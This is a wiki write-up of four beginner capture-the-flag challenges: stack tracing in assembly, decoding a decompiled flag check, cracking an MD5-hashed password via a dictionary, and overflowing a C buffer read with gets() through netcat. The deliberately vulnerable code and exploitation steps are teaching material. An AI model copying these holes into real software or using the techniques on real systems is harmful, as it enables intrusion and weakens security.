W4505 Capture the Flag V

From Coder Merlin
Revision as of 18:02, 3 March 2021 by MagicPizzaBox (talk | contribs) (added crackman writeup)
Within these castle walls be forged Mavens of Computer Science ...
— Merlin, The Coder
ComingSoonIcon.png
Coming Soon
This page will serve as a writup for the CTF V competition problems.

Reverse Engineering[edit]

Stacktastic[edit]

[100 Points] Wth do push and pop mean??? Could you help me out and tell me what the stack will look like (from bottom to top) after this runs.
Hint: The flag is the elements on the stack from bottom to top, wrapped in ahsCTF{}

The challenge also provides the file stacktastic.asm.

When opening stacktastic.asm in a text editor, we see the following assembly code:

section	.text
	global _start
_start:
	push s
	pop ecx
	push s
	push t
	push h
	push i
	pop ecx
	pop ecx
	push a
	push a
	pop ecx
	push c
	push k
	pop ecx
	push u
	pop ecx
	push k
	push s
	push _
	push _
	pop ecx
	push r
	push r
	pop ecx
	push _
	push c
	push o
	push o
	push _
	pop ecx
	pop ecx
	push o
	push l
	
	;;; printing stack
	; code used to print stack has been redacted
	
	;;; exit program
	mov	eax, 1
	int	0x80

;;; constants
section .data
a db 'a'
b db 'b'
c db 'c'
d db 'd'
e db 'e'
f db 'f'
g db 'g'
h db 'h'
i db 'i'
j db 'j'
k db 'k'
l db 'l'
m db 'm'
n db 'n'
o db 'o'
p db 'p'
q db 'q'
r db 'r'
s db 's'
t db 't'
u db 'u'
v db 'v'
w db 'w'
x db 'x'
y db 'y'
z db 'z'
_ db '_'

Prerequisate: https://en.wikipedia.org/wiki/Stack_(abstract_data_type)

This code seems to define some constants that represent letters of the alphabet. These constants are later pushed on and popped off the stack using the push and pop instructions. The ecx after the pop instructions refers to the ecx register of where to store popped data. We can manually figure out what the stack will look like after this code runs by typing whatever characters are pushed in a text file, and clicking backspace upon a pop. We get "stacks_r_cool". We can wrap this in the flag wrapper to get ahsCTF{stacks_r_cool}.

Decompile Trial[edit]

[125 Points] I stole this file off the server, but need to figure out how it works!!! Can you figure out the correct input and get me the flag?

The challenge also provides the executable file decompileTrial.

Let's import this file into Ghidra in order to see the source code. Here's what Ghidra decompiled from the main() function:

void main(void)

{
  long lVar1;
  uint uVar2;
  long in_FS_OFFSET;
  uint input;
  int i;
  uint encodedFlag [38];
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  encodedFlag[0] = 0x62;
  encodedFlag[1] = 0x69;
  encodedFlag[2] = 0x74;
  encodedFlag[3] = 0x44;
  encodedFlag[4] = 0x55;
  encodedFlag[5] = 0x47;
  encodedFlag[6] = 0x7c;
  encodedFlag[7] = 0x65;
  encodedFlag[8] = 0x31;
  encodedFlag[9] = 0x6f;
  encodedFlag[10] = 0x55;
  encodedFlag[11] = 0x60;
  encodedFlag[12] = 0x67;
  encodedFlag[13] = 0x34;
  encodedFlag[14] = 0x41;
  encodedFlag[15] = 0x73;
  encodedFlag[16] = 0x60;
  encodedFlag[17] = 0x75;
  encodedFlag[18] = 0x69;
  encodedFlag[19] = 0x34;
  encodedFlag[20] = 0x60;
  encodedFlag[21] = 0x53;
  encodedFlag[22] = 0x66;
  encodedFlag[23] = 0x77;
  encodedFlag[24] = 0x34;
  encodedFlag[25] = 0x73;
  encodedFlag[26] = 0x25;
  encodedFlag[27] = 0x66;
  encodedFlag[28] = 0x60;
  encodedFlag[29] = 0x66;
  encodedFlag[30] = 0x4f;
  encodedFlag[31] = 0x68;
  encodedFlag[32] = 0x6a;
  encodedFlag[33] = 0x6f;
  encodedFlag[34] = 0x34;
  encodedFlag[35] = 0x34;
  encodedFlag[36] = 0x73;
  encodedFlag[37] = 0x7e;
  i = 0;
  while (i < 0x26) {
    puts("Enter your input! Correct input will be one character of the flag in hex!");
    __isoc99_scanf(&DAT_00102052,&input);
    uVar2 = f(input);
    if (uVar2 == encodedFlag[i]) {
      puts("Correct character!");
    }
    else {
      puts("Incorrect character.");
    }
    i = i + 1;
  }
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

The code seems to create an array called encodedFlag and assign values to its indexes. The program then scans user input, runs it through a function called f(), and compares it to the current index of the array. If the values are equal, the program tells us our input is the hex representation of a character in the flag. The program will use a loop to repeat this process for every element in encodedFlag. It seems that we will input one character of the flag at a time (in hex), and the program will tell us if out character was correct. Instead of manually trying every character, we can decode the encodedFlag array. To do this, let's look at how f() encoded our input. Here is the decompiled code for f():

uint f(uint num)

{
  return num + 1;
}

The f() function seems to add 0x1 to whatever character we input. That means that the values in encodedFlag will be 0x1 higher than the actual hex values of the flag. We can subtract 0x1 from every element in encodedFlag to get the actual character of the flag. After doing that, the characters of the flag in hex seem to be:

0x61,0x68,0x73,0x43,0x54,0x46,0x7b,0x64,0x30,0x6e,0x54,0x5f,0x66,0x33,0x40,0x72,0x5f,0x74,0x68,0x33,0x5f,0x52,0x65,0x76,0x33,0x72,0x24,0x65,0x5f,0x65,0x4e,0x67,0x69,0x6e,0x33,0x33,0x72,0x7d

We can covert these hex values to their ASCII representation using online tools. We get ahsCTF{d0nT_f3@r_th3_Rev3r$e_eNgin33r}.

Web Exploitation[edit]

CrackMan[edit]

[125 Points] Help me figure out the password. You might want to learn to crack hashes.
http://104.131.13.12/

We can navigate to this website to access the web challenge. The challenge asks us to enter a password. Our goal is to find the correct password. Let's look at the provided source code to get an idea of how we can do this.

  include "flag.php";

  if ($_POST["password"]) {

    $password = $_POST["password"];
    if (md5($password) == "c13d23675b7a621212c3a6bb07e0e8df") {
      echo ('<h1><div class="alert alert-success centered" role="alert"> Flag: ' . $flag . ' </div></h1>');
    } else {
      echo ('<h1><div class="alert alert-danger centered" role="alert">Sorry, Wrong password!</div></h1>');
    }
    die;
  }

This code reveals that the md5 hash of the correct password is "c13d23675b7a621212c3a6bb07e0e8df". An md5 hash is a one-way function to encode a value and is largely irreversible. However, there are online md5 dictionaries that store strings and their hashes. We can use one of these dictionaries to find out what string produced this hash. We get the string "hackerman". When we input this into the website's password field we get the flag ahsCTF{p@ssw0rd_cr@ck3r}.

Binary Exploitation[edit]

Floooooooooooooood[edit]

[50 Points] Overflow this buffer located at 165.232.149.158 at port 64501.

The challenge also provides the file flood.c and the executable file flood.

Let's take a look at flood.c by opening it in a text editor:

#include <stdio.h>
#include <stdlib.h>

void vuln() {
    int secret = 0x00000000;
    char buffer[12];

    printf("Input text into buffer: ");
    gets(buffer); // This may be a vulnerability...

    if(secret != 0x00000000) {
        printf("You found the flag!\n");
        system("cat flag.txt");
    } else {
        printf("It looks like you didn't overflow the buffer, try again.\n");
    }

    exit(0);
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    vuln();
}

The code seems to create an array of characters that has a size of 12. It then uses the gets() function to put user input into this array. The gets() function is dangerous because it doesn't check the size of the array and will overflow into other memory locations. We want to overflow the buffer array and change the value of the "secret" integer variable in order to concatenate the flag. This is possible because the secret integer will be pushed to the stack before the buffer, and as such will be located after the buffer's address. We can overwrite the secret integer by simply inputting more than 12 characters (the size of the buffer). Let's run this program on the remote server using netcat (remember that the flag is stored only on the server so running the executable locally won't produce the flag):

john-williams@codermerlin:~$  nc 165.232.149.158 64501

Input text into buffer: aaaaaaaaaaaaa
You found the flag!
ahsCTF{y0u_Br0k3_my_bUff3r_:(}

Notice that we inputted 13 'a's and as such changed the value of the secret integer. The program told us our flag is ahsCTF{y0u_Br0k3_my_bUff3r_:(}.